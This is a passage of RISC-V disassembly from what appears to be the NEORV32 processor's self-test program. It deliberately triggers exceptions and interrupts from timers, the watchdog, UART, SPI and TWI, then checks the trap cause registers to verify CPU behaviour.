5dc: 00f70463 beq a4,a5,5e4 <main+0x454>
5e0: 0700106f j 1650 <main+0x14c0>
5e4: 280010ef jal ra,1864 <test_ok>
5e8: 00000793 li a5,0
5ec: 34279073 csrw mcause,a5
5f0: 00042583 lw a1,0(s0)
5f4: 00004537 lui a0,0x4
5f8: a5850513 addi a0,a0,-1448 # 3a58 <__etext+0x1b0>
5fc: 0b9010ef jal ra,1eb4 <neorv32_uart0_printf>
600: 00042783 lw a5,0(s0)
604: 00178793 addi a5,a5,1
608: 00f42023 sw a5,0(s0)
60c: fff027f3 csrr a5,0xfff
610: 34202773 csrr a4,mcause
614: 00200793 li a5,2
618: 00f70463 beq a4,a5,620 <main+0x490>
61c: 0640106f j 1680 <main+0x14f0>
620: 244010ef jal ra,1864 <test_ok>
624: 00000493 li s1,0
628: 34249073 csrw mcause,s1
62c: 00042583 lw a1,0(s0)
630: 00004537 lui a0,0x4
634: a7850513 addi a0,a0,-1416 # 3a78 <__etext+0x1d0>
638: 07d010ef jal ra,1eb4 <neorv32_uart0_printf>
63c: 00042783 lw a5,0(s0)
640: 00178793 addi a5,a5,1
644: 00f42023 sw a5,0(s0)
648: c0149073 csrw time,s1
64c: 34202773 csrr a4,mcause
650: 00200793 li a5,2
654: 00f70463 beq a4,a5,65c <main+0x4cc>
658: 0300106f j 1688 <main+0x14f8>
65c: 208010ef jal ra,1864 <test_ok>
660: 00000793 li a5,0
664: 34279073 csrw mcause,a5
668: 00042583 lw a1,0(s0)
66c: 00004537 lui a0,0x4
670: a9c50513 addi a0,a0,-1380 # 3a9c <__etext+0x1f4>
674: 041010ef jal ra,1eb4 <neorv32_uart0_printf>
678: 00042783 lw a5,0(s0)
67c: 00178793 addi a5,a5,1
680: 00f42023 sw a5,0(s0)
684: c0102073 rdtime zero
688: 342027f3 csrr a5,mcause
68c: 00078463 beqz a5,694 <main+0x504>
690: 0000106f j 1690 <main+0x1500>
694: 1d0010ef jal ra,1864 <test_ok>
698: 00000793 li a5,0
69c: 34279073 csrw mcause,a5
6a0: 00042583 lw a1,0(s0)
6a4: 00004537 lui a0,0x4
6a8: acc50513 addi a0,a0,-1332 # 3acc <__etext+0x224>
6ac: 009010ef jal ra,1eb4 <neorv32_uart0_printf>
6b0: 301027f3 csrr a5,misa
6b4: 0047f793 andi a5,a5,4
6b8: 00078463 beqz a5,6c0 <main+0x530>
6bc: 7e50006f j 16a0 <main+0x1510>
6c0: 00042783 lw a5,0(s0)
6c4: 00178793 addi a5,a5,1
6c8: 00f42023 sw a5,0(s0)
6cc: 00200793 li a5,2
6d0: 000780e7 jalr a5
6d4: 00000013 nop
6d8: 342027f3 csrr a5,mcause
6dc: 00078463 beqz a5,6e4 <main+0x554>
6e0: 7b90006f j 1698 <main+0x1508>
6e4: 180010ef jal ra,1864 <test_ok>
6e8: 00000793 li a5,0
6ec: 34279073 csrw mcause,a5
6f0: 00042583 lw a1,0(s0)
6f4: 00004537 lui a0,0x4
6f8: b1050513 addi a0,a0,-1264 # 3b10 <__etext+0x268>
6fc: 7b8010ef jal ra,1eb4 <neorv32_uart0_printf>
700: 00042783 lw a5,0(s0)
704: 00178793 addi a5,a5,1
708: 00f42023 sw a5,0(s0)
70c: dfc00793 li a5,-516
710: 000780e7 jalr a5
714: 34202773 csrr a4,mcause
718: 00100793 li a5,1
71c: 00f70463 beq a4,a5,724 <main+0x594>
720: 7910006f j 16b0 <main+0x1520>
724: 140010ef jal ra,1864 <test_ok>
728: 00000793 li a5,0
72c: 34279073 csrw mcause,a5
730: 00042583 lw a1,0(s0)
734: 00004537 lui a0,0x4
738: b3850513 addi a0,a0,-1224 # 3b38 <__etext+0x290>
73c: 778010ef jal ra,1eb4 <neorv32_uart0_printf>
740: 00042783 lw a5,0(s0)
744: 00178793 addi a5,a5,1
748: 00f42023 sw a5,0(s0)
74c: 00000013 nop
750: 80000033 0x80000033
754: 34202773 csrr a4,mcause
758: 00200793 li a5,2
75c: 00f70463 beq a4,a5,764 <main+0x5d4>
760: 7590006f j 16b8 <main+0x1528>
764: 34302773 csrr a4,mtval
768: 800007b7 lui a5,0x80000
76c: 03378793 addi a5,a5,51 # 80000033 <__ctr0_io_space_begin+0x80000233>
770: 00f70463 beq a4,a5,778 <main+0x5e8>
774: 7450006f j 16b8 <main+0x1528>
778: 0ec010ef jal ra,1864 <test_ok>
77c: 00000793 li a5,0
780: 34279073 csrw mcause,a5
784: 00042583 lw a1,0(s0)
788: 00004537 lui a0,0x4
78c: b5c50513 addi a0,a0,-1188 # 3b5c <__etext+0x2b4>
790: 724010ef jal ra,1eb4 <neorv32_uart0_printf>
794: 301027f3 csrr a5,misa
798: 0047f793 andi a5,a5,4
79c: 00079463 bnez a5,7a4 <main+0x614>
7a0: 7290006f j 16c8 <main+0x1538>
7a4: 00042783 lw a5,0(s0)
7a8: 00178793 addi a5,a5,1
7ac: 00f42023 sw a5,0(s0)
7b0: 0001 nop
7b2: 0000 unimp
7b4: 34202773 csrr a4,mcause
7b8: 00200793 li a5,2
7bc: 00f70463 beq a4,a5,7c4 <main+0x634>
7c0: 7010006f j 16c0 <main+0x1530>
7c4: 0a0010ef jal ra,1864 <test_ok>
7c8: 00000793 li a5,0
7cc: 34279073 csrw mcause,a5
7d0: 00042583 lw a1,0(s0)
7d4: 00004537 lui a0,0x4
7d8: b8850513 addi a0,a0,-1144 # 3b88 <__etext+0x2e0>
7dc: 6d8010ef jal ra,1eb4 <neorv32_uart0_printf>
7e0: 00042783 lw a5,0(s0)
7e4: 00178793 addi a5,a5,1
7e8: 00f42023 sw a5,0(s0)
7ec: 00100073 ebreak
7f0: 34202773 csrr a4,mcause
7f4: 00300793 li a5,3
7f8: 00f70463 beq a4,a5,800 <main+0x670>
7fc: 6dd0006f j 16d8 <main+0x1548>
800: 064010ef jal ra,1864 <test_ok>
804: 00000793 li a5,0
808: 34279073 csrw mcause,a5
80c: 00042583 lw a1,0(s0)
810: 00004537 lui a0,0x4
814: ba850513 addi a0,a0,-1112 # 3ba8 <__etext+0x300>
818: 69c010ef jal ra,1eb4 <neorv32_uart0_printf>
81c: 00042783 lw a5,0(s0)
820: 00178793 addi a5,a5,1
824: 00f42023 sw a5,0(s0)
828: 00100793 li a5,1
82c: 0007a703 lw a4,0(a5)
830: 342026f3 csrr a3,mcause
834: 00400713 li a4,4
838: 00e68463 beq a3,a4,840 <main+0x6b0>
83c: 6a50006f j 16e0 <main+0x1550>
840: 34302773 csrr a4,mtval
844: 00f70463 beq a4,a5,84c <main+0x6bc>
848: 6990006f j 16e0 <main+0x1550>
84c: 018010ef jal ra,1864 <test_ok>
850: 00000793 li a5,0
854: 34279073 csrw mcause,a5
858: 00042583 lw a1,0(s0)
85c: 00004537 lui a0,0x4
860: bd450513 addi a0,a0,-1068 # 3bd4 <__etext+0x32c>
864: 650010ef jal ra,1eb4 <neorv32_uart0_printf>
868: 00042783 lw a5,0(s0)
86c: 00178793 addi a5,a5,1
870: 00f42023 sw a5,0(s0)
874: dfc00793 li a5,-516
878: 0007a783 lw a5,0(a5)
87c: 34202773 csrr a4,mcause
880: 00500793 li a5,5
884: 00f70463 beq a4,a5,88c <main+0x6fc>
888: 6610006f j 16e8 <main+0x1558>
88c: 7d9000ef jal ra,1864 <test_ok>
890: 00000493 li s1,0
894: 34249073 csrw mcause,s1
898: 00042583 lw a1,0(s0)
89c: 00004537 lui a0,0x4
8a0: bf850513 addi a0,a0,-1032 # 3bf8 <__etext+0x350>
8a4: 610010ef jal ra,1eb4 <neorv32_uart0_printf>
8a8: 00042783 lw a5,0(s0)
8ac: 00178793 addi a5,a5,1
8b0: 00f42023 sw a5,0(s0)
8b4: 00200793 li a5,2
8b8: 0097a023 sw s1,0(a5)
8bc: 34202773 csrr a4,mcause
8c0: 00600793 li a5,6
8c4: 00f70463 beq a4,a5,8cc <main+0x73c>
8c8: 6290006f j 16f0 <main+0x1560>
8cc: 799000ef jal ra,1864 <test_ok>
8d0: 00000493 li s1,0
8d4: 34249073 csrw mcause,s1
8d8: 00042583 lw a1,0(s0)
8dc: 00004537 lui a0,0x4
8e0: c2450513 addi a0,a0,-988 # 3c24 <__etext+0x37c>
8e4: 5d0010ef jal ra,1eb4 <neorv32_uart0_printf>
8e8: 00042783 lw a5,0(s0)
8ec: 00178793 addi a5,a5,1
8f0: 00f42023 sw a5,0(s0)
8f4: dfc00793 li a5,-516
8f8: 0097a023 sw s1,0(a5)
8fc: 34202773 csrr a4,mcause
900: 00700793 li a5,7
904: 00f70463 beq a4,a5,90c <main+0x77c>
908: 5f10006f j 16f8 <main+0x1568>
90c: 759000ef jal ra,1864 <test_ok>
910: 00000793 li a5,0
914: 34279073 csrw mcause,a5
918: 00042583 lw a1,0(s0)
91c: 00004537 lui a0,0x4
920: c4850513 addi a0,a0,-952 # 3c48 <__etext+0x3a0>
924: 590010ef jal ra,1eb4 <neorv32_uart0_printf>
928: 00042783 lw a5,0(s0)
92c: 00178793 addi a5,a5,1
930: 00f42023 sw a5,0(s0)
934: 00000073 ecall
938: 34202773 csrr a4,mcause
93c: 00b00793 li a5,11
940: 00f70463 beq a4,a5,948 <main+0x7b8>
944: 5bd0006f j 1700 <main+0x1570>
948: 71d000ef jal ra,1864 <test_ok>
94c: 00000793 li a5,0
950: 34279073 csrw mcause,a5
954: 00042583 lw a1,0(s0)
958: 00004537 lui a0,0x4
95c: c7850513 addi a0,a0,-904 # 3c78 <__etext+0x3d0>
960: 554010ef jal ra,1eb4 <neorv32_uart0_printf>
964: 00042783 lw a5,0(s0)
968: 00178793 addi a5,a5,1
96c: 00f42023 sw a5,0(s0)
970: 111010ef jal ra,2280 <neorv32_cpu_goto_user_mode>
974: 00000073 ecall
978: 34202773 csrr a4,mcause
97c: 00800793 li a5,8
980: 00f70463 beq a4,a5,988 <main+0x7f8>
984: 5850006f j 1708 <main+0x1578>
988: 6dd000ef jal ra,1864 <test_ok>
98c: 00000793 li a5,0
990: 34279073 csrw mcause,a5
994: 00042583 lw a1,0(s0)
998: 00004537 lui a0,0x4
99c: ca850513 addi a0,a0,-856 # 3ca8 <__etext+0x400>
9a0: 514010ef jal ra,1eb4 <neorv32_uart0_printf>
9a4: 00042783 lw a5,0(s0)
9a8: fff00513 li a0,-1
9ac: fff00593 li a1,-1
9b0: 00178793 addi a5,a5,1
9b4: 00f42023 sw a5,0(s0)
9b8: 258010ef jal ra,1c10 <neorv32_mtime_set_timecmp>
9bc: 00000513 li a0,0
9c0: 00000593 li a1,0
9c4: 20c010ef jal ra,1bd0 <neorv32_mtime_set_time>
9c8: 00000513 li a0,0
9cc: 00100593 li a1,1
9d0: 240010ef jal ra,1c10 <neorv32_mtime_set_timecmp>
9d4: 00000593 li a1,0
9d8: ffe00513 li a0,-2
9dc: 1f4010ef jal ra,1bd0 <neorv32_mtime_set_time>
9e0: 00700513 li a0,7
9e4: 7fc010ef jal ra,21e0 <neorv32_cpu_irq_enable>
9e8: 00000013 nop
9ec: 00000013 nop
9f0: 00700513 li a0,7
9f4: 029010ef jal ra,221c <neorv32_cpu_irq_disable>
9f8: 34202773 csrr a4,mcause
9fc: 800007b7 lui a5,0x80000
a00: 00778793 addi a5,a5,7 # 80000007 <__ctr0_io_space_begin+0x80000207>
a04: 00f70463 beq a4,a5,a0c <main+0x87c>
a08: 5090006f j 1710 <main+0x1580>
a0c: 659000ef jal ra,1864 <test_ok>
a10: fff00513 li a0,-1
a14: fff00593 li a1,-1
a18: 1f8010ef jal ra,1c10 <neorv32_mtime_set_timecmp>
a1c: 00000793 li a5,0
a20: 34279073 csrw mcause,a5
a24: 00042583 lw a1,0(s0)
a28: 00004537 lui a0,0x4
a2c: cbc50513 addi a0,a0,-836 # 3cbc <__etext+0x414>
a30: 484010ef jal ra,1eb4 <neorv32_uart0_printf>
a34: 00042783 lw a5,0(s0)
a38: 00300513 li a0,3
a3c: 00178793 addi a5,a5,1
a40: 00f42023 sw a5,0(s0)
a44: 79c010ef jal ra,21e0 <neorv32_cpu_irq_enable>
a48: 00800513 li a0,8
a4c: 605000ef jal ra,1850 <sim_irq_trigger>
a50: 00000013 nop
a54: 00000013 nop
a58: 00300513 li a0,3
a5c: 7c0010ef jal ra,221c <neorv32_cpu_irq_disable>
a60: 34202773 csrr a4,mcause
a64: 800007b7 lui a5,0x80000
a68: 00378793 addi a5,a5,3 # 80000003 <__ctr0_io_space_begin+0x80000203>
a6c: 4af716e3 bne a4,a5,1718 <main+0x1588>
a70: 5f5000ef jal ra,1864 <test_ok>
a74: 00000793 li a5,0
a78: 34279073 csrw mcause,a5
a7c: 00042583 lw a1,0(s0)
a80: 00004537 lui a0,0x4
a84: cd450513 addi a0,a0,-812 # 3cd4 <__etext+0x42c>
a88: 42c010ef jal ra,1eb4 <neorv32_uart0_printf>
a8c: 00042783 lw a5,0(s0)
a90: 00b00513 li a0,11
a94: 00178793 addi a5,a5,1
a98: 00f42023 sw a5,0(s0)
a9c: 744010ef jal ra,21e0 <neorv32_cpu_irq_enable>
aa0: 00001537 lui a0,0x1
aa4: 80050513 addi a0,a0,-2048 # 800 <main+0x670>
aa8: 5a9000ef jal ra,1850 <sim_irq_trigger>
aac: 00000013 nop
ab0: 00000013 nop
ab4: 00b00513 li a0,11
ab8: 764010ef jal ra,221c <neorv32_cpu_irq_disable>
abc: 34202773 csrr a4,mcause
ac0: 800007b7 lui a5,0x80000
ac4: 00b78793 addi a5,a5,11 # 8000000b <__ctr0_io_space_begin+0x8000020b>
ac8: 44f71ce3 bne a4,a5,1720 <main+0x1590>
acc: 599000ef jal ra,1864 <test_ok>
ad0: 00000493 li s1,0
ad4: 34249073 csrw mcause,s1
ad8: 00042583 lw a1,0(s0)
adc: 00004537 lui a0,0x4
ae0: cec50513 addi a0,a0,-788 # 3cec <__etext+0x444>
ae4: 3d0010ef jal ra,1eb4 <neorv32_uart0_printf>
ae8: 00042783 lw a5,0(s0)
aec: 00700513 li a0,7
af0: 00178793 addi a5,a5,1
af4: 00f42023 sw a5,0(s0)
af8: 6e8010ef jal ra,21e0 <neorv32_cpu_irq_enable>
afc: 00100513 li a0,1
b00: 00000593 li a1,0
b04: 0cc010ef jal ra,1bd0 <neorv32_mtime_set_time>
b08: 00000593 li a1,0
b0c: 00000513 li a0,0
b10: 100010ef jal ra,1c10 <neorv32_mtime_set_timecmp>
b14: 00700513 li a0,7
b18: 704010ef jal ra,221c <neorv32_cpu_irq_disable>
b1c: fff00513 li a0,-1
b20: fff00593 li a1,-1
b24: 0ec010ef jal ra,1c10 <neorv32_mtime_set_timecmp>
b28: 53d000ef jal ra,1864 <test_ok>
b2c: 34249073 csrw mcause,s1
b30: 00042583 lw a1,0(s0)
b34: 00004537 lui a0,0x4
b38: d0c50513 addi a0,a0,-756 # 3d0c <__etext+0x464>
b3c: 378010ef jal ra,1eb4 <neorv32_uart0_printf>
b40: 00042783 lw a5,0(s0)
b44: 00700513 li a0,7
b48: 00178793 addi a5,a5,1
b4c: 00f42023 sw a5,0(s0)
b50: 690010ef jal ra,21e0 <neorv32_cpu_irq_enable>
b54: 30047073 csrci mstatus,8
b58: 00000013 nop
b5c: 00000013 nop
b60: 00100513 li a0,1
b64: 00000593 li a1,0
b68: 068010ef jal ra,1bd0 <neorv32_mtime_set_time>
b6c: 00000513 li a0,0
b70: 00000593 li a1,0
b74: 09c010ef jal ra,1c10 <neorv32_mtime_set_timecmp>
b78: 00000013 nop
b7c: 00000013 nop
b80: 34402973 csrr s2,mip
b84: fff00513 li a0,-1
b88: fff00593 li a1,-1
b8c: 084010ef jal ra,1c10 <neorv32_mtime_set_timecmp>
b90: 344024f3 csrr s1,mip
b94: 00700513 li a0,7
b98: 08097913 andi s2,s2,128
b9c: 680010ef jal ra,221c <neorv32_cpu_irq_disable>
ba0: 380904e3 beqz s2,1728 <main+0x1598>
ba4: 0804f493 andi s1,s1,128
ba8: 380490e3 bnez s1,1728 <main+0x1598>
bac: 4b9000ef jal ra,1864 <test_ok>
bb0: 30046073 csrsi mstatus,8
bb4: 00000013 nop
bb8: 00000013 nop
bbc: 57d000ef jal ra,1938 <neorv32_wdt_available>
bc0: 06050663 beqz a0,c2c <main+0xa9c>
bc4: 00000793 li a5,0
bc8: 34279073 csrw mcause,a5
bcc: 00042583 lw a1,0(s0)
bd0: 00004537 lui a0,0x4
bd4: d2850513 addi a0,a0,-728 # 3d28 <__etext+0x480>
bd8: 2dc010ef jal ra,1eb4 <neorv32_uart0_printf>
bdc: 00042783 lw a5,0(s0)
be0: 01000513 li a0,16
be4: 00178793 addi a5,a5,1
be8: 00f42023 sw a5,0(s0)
bec: 5f4010ef jal ra,21e0 <neorv32_cpu_irq_enable>
bf0: 00100613 li a2,1
bf4: 00000593 li a1,0
bf8: 00700513 li a0,7
bfc: 54d000ef jal ra,1948 <neorv32_wdt_setup>
c00: fa002e23 sw zero,-68(zero) # ffffffbc <__ctr0_io_space_begin+0x1bc>
c04: 595000ef jal ra,1998 <neorv32_wdt_force>
c08: 00000013 nop
c0c: 01000513 li a0,16
c10: 60c010ef jal ra,221c <neorv32_cpu_irq_disable>
c14: 34202773 csrr a4,mcause
c18: 800007b7 lui a5,0x80000
c1c: 01078793 addi a5,a5,16 # 80000010 <__ctr0_io_space_begin+0x80000210>
c20: 30f718e3 bne a4,a5,1730 <main+0x15a0>
c24: 441000ef jal ra,1864 <test_ok>
c28: 559000ef jal ra,1980 <neorv32_wdt_disable>
c2c: 00042583 lw a1,0(s0)
c30: 00004537 lui a0,0x4
c34: d3c50513 addi a0,a0,-708 # 3d3c <__etext+0x494>
c38: 27c010ef jal ra,1eb4 <neorv32_uart0_printf>
c3c: 00004537 lui a0,0x4
c40: d5050513 addi a0,a0,-688 # 3d50 <__etext+0x4a8>
c44: 270010ef jal ra,1eb4 <neorv32_uart0_printf>
c48: 404010ef jal ra,204c <neorv32_uart1_available>
c4c: 08050863 beqz a0,cdc <main+0xb4c>
c50: 00000793 li a5,0
c54: 34279073 csrw mcause,a5
c58: 00042583 lw a1,0(s0)
c5c: 00004537 lui a0,0x4
c60: d5c50513 addi a0,a0,-676 # 3d5c <__etext+0x4b4>
c64: 250010ef jal ra,1eb4 <neorv32_uart0_printf>
c68: 00042783 lw a5,0(s0)
c6c: 00178793 addi a5,a5,1
c70: 00f42023 sw a5,0(s0)
c74: 1cc010ef jal ra,1e40 <neorv32_uart0_tx_busy>
c78: fe051ee3 bnez a0,c74 <main+0xae4>
c7c: fa002483 lw s1,-96(zero) # ffffffa0 <__ctr0_io_space_begin+0x1a0>
c80: fa002783 lw a5,-96(zero) # ffffffa0 <__ctr0_io_space_begin+0x1a0>
c84: 10000737 lui a4,0x10000
c88: 00e7e7b3 or a5,a5,a4
c8c: faf02023 sw a5,-96(zero) # ffffffa0 <__ctr0_io_space_begin+0x1a0>
c90: fa002783 lw a5,-96(zero) # ffffffa0 <__ctr0_io_space_begin+0x1a0>
c94: fffff737 lui a4,0xfffff
c98: fff70713 addi a4,a4,-1 # ffffefff <__ctr0_io_space_begin+0xfffff1ff>
c9c: 00e7f7b3 and a5,a5,a4
ca0: faf02023 sw a5,-96(zero) # ffffffa0 <__ctr0_io_space_begin+0x1a0>
ca4: 184010ef jal ra,1e28 <neorv32_uart0_putc>
ca8: 198010ef jal ra,1e40 <neorv32_uart0_tx_busy>
cac: fe051ee3 bnez a0,ca8 <main+0xb18>
cb0: 01200513 li a0,18
cb4: 52c010ef jal ra,21e0 <neorv32_cpu_irq_enable>
cb8: 00000013 nop
cbc: 01200513 li a0,18
cc0: 55c010ef jal ra,221c <neorv32_cpu_irq_disable>
cc4: fa902023 sw s1,-96(zero) # ffffffa0 <__ctr0_io_space_begin+0x1a0>
cc8: 34202773 csrr a4,mcause
ccc: 800007b7 lui a5,0x80000
cd0: 01278793 addi a5,a5,18 # 80000012 <__ctr0_io_space_begin+0x80000212>
cd4: 26f712e3 bne a4,a5,1738 <main+0x15a8>
cd8: 38d000ef jal ra,1864 <test_ok>
cdc: 090010ef jal ra,1d6c <neorv32_uart0_available>
ce0: 08050863 beqz a0,d70 <main+0xbe0>
ce4: 00000793 li a5,0
ce8: 34279073 csrw mcause,a5
cec: 00042583 lw a1,0(s0)
cf0: 00004537 lui a0,0x4
cf4: d7450513 addi a0,a0,-652 # 3d74 <__etext+0x4cc>
cf8: 1bc010ef jal ra,1eb4 <neorv32_uart0_printf>
cfc: 00042783 lw a5,0(s0)
d00: 00178793 addi a5,a5,1
d04: 00f42023 sw a5,0(s0)
d08: 138010ef jal ra,1e40 <neorv32_uart0_tx_busy>
d0c: fe051ee3 bnez a0,d08 <main+0xb78>
d10: fa002483 lw s1,-96(zero) # ffffffa0 <__ctr0_io_space_begin+0x1a0>
d14: fa002783 lw a5,-96(zero) # ffffffa0 <__ctr0_io_space_begin+0x1a0>
d18: 10000737 lui a4,0x10000
d1c: 00e7e7b3 or a5,a5,a4
d20: faf02023 sw a5,-96(zero) # ffffffa0 <__ctr0_io_space_begin+0x1a0>
d24: fa002783 lw a5,-96(zero) # ffffffa0 <__ctr0_io_space_begin+0x1a0>
d28: fffff737 lui a4,0xfffff
d2c: fff70713 addi a4,a4,-1 # ffffefff <__ctr0_io_space_begin+0xfffff1ff>
d30: 00e7f7b3 and a5,a5,a4
d34: faf02023 sw a5,-96(zero) # ffffffa0 <__ctr0_io_space_begin+0x1a0>
d38: 0f0010ef jal ra,1e28 <neorv32_uart0_putc>
d3c: 01300513 li a0,19
d40: 4a0010ef jal ra,21e0 <neorv32_cpu_irq_enable>
d44: 0fc010ef jal ra,1e40 <neorv32_uart0_tx_busy>
d48: fe051ee3 bnez a0,d44 <main+0xbb4>
d4c: 00000013 nop
d50: 01300513 li a0,19
d54: 4c8010ef jal ra,221c <neorv32_cpu_irq_disable>
d58: fa902023 sw s1,-96(zero) # ffffffa0 <__ctr0_io_space_begin+0x1a0>
d5c: 34202773 csrr a4,mcause
d60: 800007b7 lui a5,0x80000
d64: 01378793 addi a5,a5,19 # 80000013 <__ctr0_io_space_begin+0x80000213>
d68: 1cf71ce3 bne a4,a5,1740 <main+0x15b0>
d6c: 2f9000ef jal ra,1864 <test_ok>
d70: 2dc010ef jal ra,204c <neorv32_uart1_available>
d74: 08050663 beqz a0,e00 <main+0xc70>
d78: 00000793 li a5,0
d7c: 34279073 csrw mcause,a5
d80: 00042583 lw a1,0(s0)
d84: 00004537 lui a0,0x4
d88: d8c50513 addi a0,a0,-628 # 3d8c <__etext+0x4e4>
d8c: 128010ef jal ra,1eb4 <neorv32_uart0_printf>
d90: 00042783 lw a5,0(s0)
d94: 10000737 lui a4,0x10000
d98: 00000513 li a0,0
d9c: 00178793 addi a5,a5,1
da0: 00f42023 sw a5,0(s0)
da4: fd002403 lw s0,-48(zero) # ffffffd0 <__ctr0_io_space_begin+0x1d0>
da8: fd002783 lw a5,-48(zero) # ffffffd0 <__ctr0_io_space_begin+0x1d0>
dac: 00e7e7b3 or a5,a5,a4
db0: fcf02823 sw a5,-48(zero) # ffffffd0 <__ctr0_io_space_begin+0x1d0>
db4: fd002783 lw a5,-48(zero) # ffffffd0 <__ctr0_io_space_begin+0x1d0>
db8: fffff737 lui a4,0xfffff
dbc: fff70713 addi a4,a4,-1 # ffffefff <__ctr0_io_space_begin+0xfffff1ff>
dc0: 00e7f7b3 and a5,a5,a4
dc4: fcf02823 sw a5,-48(zero) # ffffffd0 <__ctr0_io_space_begin+0x1d0>
dc8: 294010ef jal ra,205c <neorv32_uart1_putc>
dcc: 2a8010ef jal ra,2074 <neorv32_uart1_tx_busy>
dd0: fe051ee3 bnez a0,dcc <main+0xc3c>
dd4: 01400513 li a0,20
dd8: 408010ef jal ra,21e0 <neorv32_cpu_irq_enable>
ddc: 00000013 nop
de0: 01400513 li a0,20
de4: 438010ef jal ra,221c <neorv32_cpu_irq_disable>
de8: fc802823 sw s0,-48(zero) # ffffffd0 <__ctr0_io_space_begin+0x1d0>
dec: 34202773 csrr a4,mcause
df0: 800007b7 lui a5,0x80000
df4: 01478793 addi a5,a5,20 # 80000014 <__ctr0_io_space_begin+0x80000214>
df8: 14f718e3 bne a4,a5,1748 <main+0x15b8>
dfc: 269000ef jal ra,1864 <test_ok>
e00: 24c010ef jal ra,204c <neorv32_uart1_available>
e04: 81018413 addi s0,gp,-2032 # 80000010 <cnt_test>
e08: 08050663 beqz a0,e94 <main+0xd04>
e0c: 00000793 li a5,0
e10: 34279073 csrw mcause,a5
e14: 00042583 lw a1,0(s0)
e18: 00004537 lui a0,0x4
e1c: da450513 addi a0,a0,-604 # 3da4 <__etext+0x4fc>
e20: 094010ef jal ra,1eb4 <neorv32_uart0_printf>
e24: 00042783 lw a5,0(s0)
e28: fd002483 lw s1,-48(zero) # ffffffd0 <__ctr0_io_space_begin+0x1d0>
e2c: 10000737 lui a4,0x10000
e30: 00178793 addi a5,a5,1
e34: 00f42023 sw a5,0(s0)
e38: fd002783 lw a5,-48(zero) # ffffffd0 <__ctr0_io_space_begin+0x1d0>
e3c: 00000513 li a0,0
e40: 00e7e7b3 or a5,a5,a4
e44: fcf02823 sw a5,-48(zero) # ffffffd0 <__ctr0_io_space_begin+0x1d0>
e48: fd002783 lw a5,-48(zero) # ffffffd0 <__ctr0_io_space_begin+0x1d0>
e4c: fffff737 lui a4,0xfffff
e50: fff70713 addi a4,a4,-1 # ffffefff <__ctr0_io_space_begin+0xfffff1ff>
e54: 00e7f7b3 and a5,a5,a4
e58: fcf02823 sw a5,-48(zero) # ffffffd0 <__ctr0_io_space_begin+0x1d0>
e5c: 200010ef jal ra,205c <neorv32_uart1_putc>
e60: 01500513 li a0,21
e64: 37c010ef jal ra,21e0 <neorv32_cpu_irq_enable>
e68: 20c010ef jal ra,2074 <neorv32_uart1_tx_busy>
e6c: fe051ee3 bnez a0,e68 <main+0xcd8>
e70: 00000013 nop
e74: 01500513 li a0,21
e78: 3a4010ef jal ra,221c <neorv32_cpu_irq_disable>
e7c: fc902823 sw s1,-48(zero) # ffffffd0 <__ctr0_io_space_begin+0x1d0>
e80: 34202773 csrr a4,mcause
e84: 800007b7 lui a5,0x80000
e88: 01578793 addi a5,a5,21 # 80000015 <__ctr0_io_space_begin+0x80000215>
e8c: 0cf712e3 bne a4,a5,1750 <main+0x15c0>
e90: 1d5000ef jal ra,1864 <test_ok>
e94: 780020ef jal ra,3614 <neorv32_spi_available>
e98: 06050c63 beqz a0,f10 <main+0xd80>
e9c: 00000793 li a5,0
ea0: 34279073 csrw mcause,a5
ea4: 00042583 lw a1,0(s0)
ea8: 00004537 lui a0,0x4
eac: dbc50513 addi a0,a0,-580 # 3dbc <__etext+0x514>
eb0: 004010ef jal ra,1eb4 <neorv32_uart0_printf>
eb4: 00042783 lw a5,0(s0)
eb8: 00000693 li a3,0
ebc: 00000613 li a2,0
ec0: 00178793 addi a5,a5,1
ec4: 00000593 li a1,0
ec8: 00000513 li a0,0
ecc: 00f42023 sw a5,0(s0)
ed0: 754020ef jal ra,3624 <neorv32_spi_setup>
ed4: 00000513 li a0,0
ed8: 7a0020ef jal ra,3678 <neorv32_spi_trans>
edc: 01600513 li a0,22
ee0: 300010ef jal ra,21e0 <neorv32_cpu_irq_enable>
ee4: 7a8020ef jal ra,368c <neorv32_spi_busy>
ee8: fe051ee3 bnez a0,ee4 <main+0xd54>
eec: 00000013 nop
ef0: 01600513 li a0,22
ef4: 328010ef jal ra,221c <neorv32_cpu_irq_disable>
ef8: 34202773 csrr a4,mcause
efc: 800007b7 lui a5,0x80000
f00: 01678793 addi a5,a5,22 # 80000016 <__ctr0_io_space_begin+0x80000216>
f04: 04f71ae3 bne a4,a5,1758 <main+0x15c8>
f08: 15d000ef jal ra,1864 <test_ok>
f0c: 758020ef jal ra,3664 <neorv32_spi_disable>
f10: 0d9010ef jal ra,27e8 <neorv32_twi_available>
f14: 06050863 beqz a0,f84 <main+0xdf4>
f18: 00000793 li a5,0
f1c: 34279073 csrw mcause,a5
f20: 00042583 lw a1,0(s0)
f24: 00004537 lui a0,0x4
f28: dd050513 addi a0,a0,-560 # 3dd0 <__etext+0x528>
f2c: 789000ef jal ra,1eb4 <neorv32_uart0_printf>
f30: 00042783 lw a5,0(s0)
f34: 00000593 li a1,0
f38: 00000513 li a0,0
f3c: 00178793 addi a5,a5,1
f40: 00f42023 sw a5,0(s0)
f44: 0b5010ef jal ra,27f8 <neorv32_twi_setup>
f48: 125010ef jal ra,286c <neorv32_twi_generate_start>
f4c: 00000513 li a0,0
f50: 0e5010ef jal ra,2834 <neorv32_twi_trans>
f54: 101010ef jal ra,2854 <neorv32_twi_generate_stop>
f58: 01700513 li a0,23
f5c: 284010ef jal ra,21e0 <neorv32_cpu_irq_enable>
f60: 00000013 nop
f64: 01700513 li a0,23
f68: 2b4010ef jal ra,221c <neorv32_cpu_irq_disable>
f6c: 34202773 csrr a4,mcause
f70: 800007b7 lui a5,0x80000
f74: 01778793 addi a5,a5,23 # 80000017 <__ctr0_io_space_begin+0x80000217>
f78: 7ef71463 bne a4,a5,1760 <main+0x15d0>
f7c: 0e9000ef jal ra,1864 <test_ok>
f80: 0a1010ef jal ra,2820 <neorv32_twi_disable>
f84: 00000793 li a5,0
f88: 34279073 csrw mcause,a5
f8c: 00042583 lw a1,0(s0)
f90: 00004537 lui a0,0x4
f94: de450513 addi a0,a0,-540 # 3de4 <__etext+0x53c>
f98: 71d000ef jal ra,1eb4 <neorv32_uart0_printf>
f9c: 28d000ef jal ra,1a28 <neorv32_xirq_available>
fa0: 0a050263 beqz a0,1044 <main+0xeb4>
fa4: 00042783 lw a5,0(s0)
fa8: 81818913 addi s2,gp,-2024 # 80000018 <xirq_trap_handler_ack>
fac: 00178793 addi a5,a5,1
fb0: 00f42023 sw a5,0(s0)
